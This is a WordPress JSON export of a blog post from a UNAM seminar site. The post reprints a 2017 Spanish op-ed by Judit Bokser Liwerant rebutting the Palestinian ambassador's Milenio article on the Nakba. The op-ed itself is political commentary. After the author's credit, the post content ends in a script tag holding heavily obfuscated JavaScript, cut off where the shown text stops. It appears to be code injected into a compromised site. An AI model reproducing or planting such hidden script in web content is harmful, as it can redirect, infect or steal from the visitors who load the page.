{"id":544,"date":"2017-05-22T11:36:14","date_gmt":"2017-05-22T17:36:14","guid":{"rendered":"https:\/\/sucumo.sdi.unam.mx\/?p=544"},"modified":"2019-08-08T10:55:30","modified_gmt":"2019-08-08T16:55:30","slug":"las-aristas-de-un-conflicto","status":"publish","type":"post","link":"https:\/\/sucumo.sdi.unam.mx\/?p=544","title":{"rendered":"&#8216;Las aristas de un conflicto&#8217;"},"content":{"rendered":"<p style=\"text-align: justify;\">Les compartimos el art\u00edculo que la Dra. Judit Bokser Liwerant public\u00f3 en respuesta al texto publicado en <em>Milenio<\/em>\u00a0el 15 de mayo de 2017\u00a0por el embajador de Palestina en M\u00e9xico, Sr. Mohamed Saadat, titulado &#8220;A 69 a\u00f1os de la Nakba, palestina a\u00fan espera&#8221;.<\/p>\n<h1 class=\"title\" style=\"text-align: justify;\">Las aristas de un conflicto<\/h1>\n<h4 class=\"subhead\" style=\"text-align: justify;\">La acad\u00e9mica responde al embajador de Palestina en M\u00e9xico, Mohamed Saadat, a prop\u00f3sito de un texto aparecido en d\u00edas recientes en este mismo espacio<\/h4>\n<div class=\"metadata singleline\" style=\"text-align: justify;\"><small class=\"byline\">Judit Bokser Liwerant*<\/small><\/div>\n<div class=\"metadata singleline\" style=\"text-align: justify;\"><time class=\"date\" datetime=\"2017-05-20Sat 03:05\">20\/05\/17 3:05 AM<\/time><\/div>\n<div class=\"metadata singleline\" style=\"text-align: justify;\"><\/div>\n<p style=\"text-align: justify;\">Con gran sorpresa y desaz\u00f3n he le\u00eddo el art\u00edculo del embajador de Palestina en M\u00e9xico, el sr. Mohamed Saadat, titulado \u201cA 69 a\u00f1os de la Nakba, Palestina a\u00fan espera\u201d, publicado el 15 de mayo en el peri\u00f3dico <em>MILENIO<\/em>. En tiempos en los que el di\u00e1logo y la negociaci\u00f3n entre los dos actores principales del conflicto palestino-israel\u00ed se hace impostergable para encontrar una soluci\u00f3n justa, el reconocimiento del Otro se exige. Hablar de las \u201cbandas sionistas\u201d, definir al movimiento nacional jud\u00edo como un \u201cproyecto colonial y expansionista\u201d, referir a la creaci\u00f3n del Estado de Israel como resultado de un proyecto de masacres, asesinatos y destrucci\u00f3n es continuar alentando narrativas hist\u00f3ricas de negaci\u00f3n y rechazo. La descalificaci\u00f3n y extra\u00f1amiento, as\u00ed como una lectura no fiel de este prolongado y doloroso conflicto para ambos pueblos en nada abona a la comprensi\u00f3n requerida.<\/p>\n<p style=\"text-align: justify;\">Si bien, como muchos otros conflictos que se han perfilado en el Medio Oriente, \u00e9ste es fundamentalmente pol\u00edtico, sus ra\u00edces hist\u00f3ricas, su permanencia y su profundidad incorpora dimensiones y m\u00f3viles \u00e9tnicos, religiosos y nacionales. Por ello me permito convocar a un abordaje responsable, que supere la satanizaci\u00f3n y aporte al an\u00e1lisis, complejo ciertamente, pero necesario.<\/p>\n<p style=\"text-align: justify;\">El sionismo no fue un proyecto colonialista de despojo; surgi\u00f3 como opci\u00f3n de definici\u00f3n de la vida jud\u00eda de acuerdo a sus condiciones hist\u00f3ricas de exilio originario y dispersi\u00f3n, siguiendo las concepciones ideol\u00f3gicas y culturales vigentes en el siglo XIX. De frente al car\u00e1cter excluyente de gran parte del nacionalismo moderno, aspir\u00f3 a ser un movimiento de liberaci\u00f3n nacional que accediera a la soberan\u00eda pol\u00edtica del pueblo jud\u00edo en la tierra de sus antepasados, cuya vigencia real y simb\u00f3lica estuvo nutrida por las ra\u00edces de su pasado b\u00edblico. Simult\u00e1neamente, fue un proyecto de reconstrucci\u00f3n y renacimiento cultural que busc\u00f3 un <em>aggiornamento<\/em>del juda\u00edsmo, su renovaci\u00f3n ling\u00fc\u00edstica, la productivizaci\u00f3n del trabajo hebreo y la creaci\u00f3n de una nueva sociedad. Fue una arena plural de proyectos y debates de las m\u00e1s variadas tendencias: desde quienes aspiraron a llevar la modernidad occidental a la regi\u00f3n, hasta quienes buscaron en la construcci\u00f3n de la nueva sociedad la posibilidad de emancipar al proletariado jud\u00edo y al \u00e1rabe \u2014ambos por crearse\u2014.<\/p>\n<p style=\"text-align: justify;\">El encuentro entre las poblaciones se defini\u00f3 en sucesivos periodos. Lo cierto es que desde el inicio hubo contactos, acercamiento y di\u00e1logo: de colaboraci\u00f3n en torno a cuestiones de seguridad con la poblaci\u00f3n palestina durante el Mandato, di\u00e1logos con el rey de Jordania Abdalah I, con el rey Faysal (de Siria e Irak). El rechazo a descubrir la dimensi\u00f3n de movimiento nacional del sionismo por parte del mundo \u00e1rabe y palestino, su percepci\u00f3n como movimiento colonialista de expansi\u00f3n y el no reconocimiento como sociedad y Estado han conducido a sucesivos fracasos de opciones pol\u00edticas, el principal de ellos: el rechazo a la resoluci\u00f3n votada por la ONU del 29 de noviembre de 1947 de partici\u00f3n de dos Estados, uno jud\u00edo y uno \u00e1rabe. A su vez, el ascenso del nazismo, la creciente conciencia de que Palestina era el lugar natural para el refugio de los jud\u00edos, cuya situaci\u00f3n de deterioro hab\u00eda diagnosticado el sionismo y las crecientes restricciones a la inmigraci\u00f3n por parte del poder mandatario, condujeron a que gradualmente la prioridad o posibilidad de alcanzar un entendimiento con la poblaci\u00f3n \u00e1rabe se viera desplazada.<\/p>\n<p style=\"text-align: justify;\">Intereses, actores y demandas cruzadas suman complejidad. La causa palestina fue un recurso de unificaci\u00f3n del nacionalismo pan\u00e1rabe y no logr\u00f3 modificar las relaciones de dependencia de los intereses del mundo \u00e1rabe. Para Israel, el conflicto con el mundo \u00e1rabe en general y con los palestinos en particular, no ha sido un conflicto m\u00e1s en su existencia independiente sino el decisivo y su desarrollo ha afectado partes centrales de su vida nacional.<\/p>\n<p style=\"text-align: justify;\">A trav\u00e9s de sucesivos ciclos de confrontacion y di\u00e1logo, cada parte actu\u00f3 dentro de los l\u00edmites que sus estructuras e instituciones le permitieron. Mientras que en el caso israel\u00ed la alternancia pol\u00edtica \u2014criatura de la democracia\u2014 marcar\u00eda las sucesivas discontinuidades del proceso de paz, en el caso palestino la no voluntad de pagar el precio de la alternancia pol\u00edtica explica en gran parte la radicalizaci\u00f3n creciente, la permanencia del liderazgo, el ascenso del fundamentalismo, con su acceso a la direcci\u00f3n pol\u00edtica con Hamas en Gaza y con Hezbollah en L\u00edbano.<\/p>\n<p style=\"text-align: justify;\">Hoy, frente a la imperiosa necesidad de revertir d\u00e9cadas de sucesivos ciclos de violencia y di\u00e1logo, la prudencia en la lectura de la historia contribuye a un presente proactivo. Los cambios en la regi\u00f3n y en el mundo se expresan en procesos contradictorios: por una parte, surgen novedosos ejercicios de voluntad pol\u00edtica; por la otra, persisten y surgen actores radicalmente opuestos a este ejercicio. Es en el marco de la construcci\u00f3n de entendimientos pol\u00edticos, que la posibilidad de leer el pasado con conciencia de su diversidad y complejidad puede resultar fundamental.<\/p>\n<p style=\"text-align: justify;\"><strong>* Profesora titular de la Facultad de Ciencias Pol\u00edticas y Sociales de la UNAM. Miembro del Comit\u00e9 Asesor del Seminario Universitario de Culturas del Medio Oriente.<\/strong><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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